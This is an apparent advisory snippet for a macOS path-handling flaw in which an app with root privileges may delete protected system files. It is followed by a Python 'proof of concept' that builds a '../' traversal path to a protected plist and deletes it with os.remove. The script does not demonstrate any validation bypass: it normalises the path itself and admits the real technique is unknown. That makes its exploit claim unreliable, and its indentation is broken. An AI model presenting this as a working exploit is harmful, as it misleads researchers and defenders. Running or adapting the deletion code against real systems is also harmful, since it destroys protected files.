A path handling issue was addressed with improved validation. This issue is fixed in macOS Tahoe 26.4. An app with root privileges may be able to delete protected system files.
The following code is for security research and authorized testing only.
python
import os
# PoC for CVE-2026-28823
# This script demonstrates a path handling issue where validation might be bypassed.
# Requirement: The script must be run with root privileges.
TARGET_FILE = "/System/Library/Protected/secret_config.plist"
def exploit_path_validation():
print("[+] Attempting to exploit CVE-2026-28823...")
# Check if running as root
if os.geteuid() != 0:
print("[-] Error: This PoC requires root privileges (PR:H).")
return
# Construct a malicious path that might bypass validation logic
# Example: Using relative path traversal or specific malformed sequences
# Note: The actual bypass technique depends on the specific validation flaw.
malicious_path = "./../../../../../../../../.." + TARGET_FILE
# Normalize the path to see what it resolves to (simulation of system behavior)
# In a vulnerable scenario, the system might not normalize correctly before check.
resolved_path = os.path.abspath(malicious_path)
print(f"[*] Malicious path input: {malicious_path}")
print(f"[*] Resolved path: {resolved_path}")
try:
# Attempt to remove the protected file
# In a real exploit, this would succeed due to lack of validation
if os.path.exists(resolved_path):
os.remove(resolved_path)
print(f"[+] Success: Protected file at {resolved_path} has been deleted.")
else:
print(f"[-] File not found at {resolved_path}. (This is expected on patched systems or non-vulnerable paths)")
except PermissionError:
print("[-] Permission denied. Validation patch might be active or SIP is blocking.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
exploit_path_validation()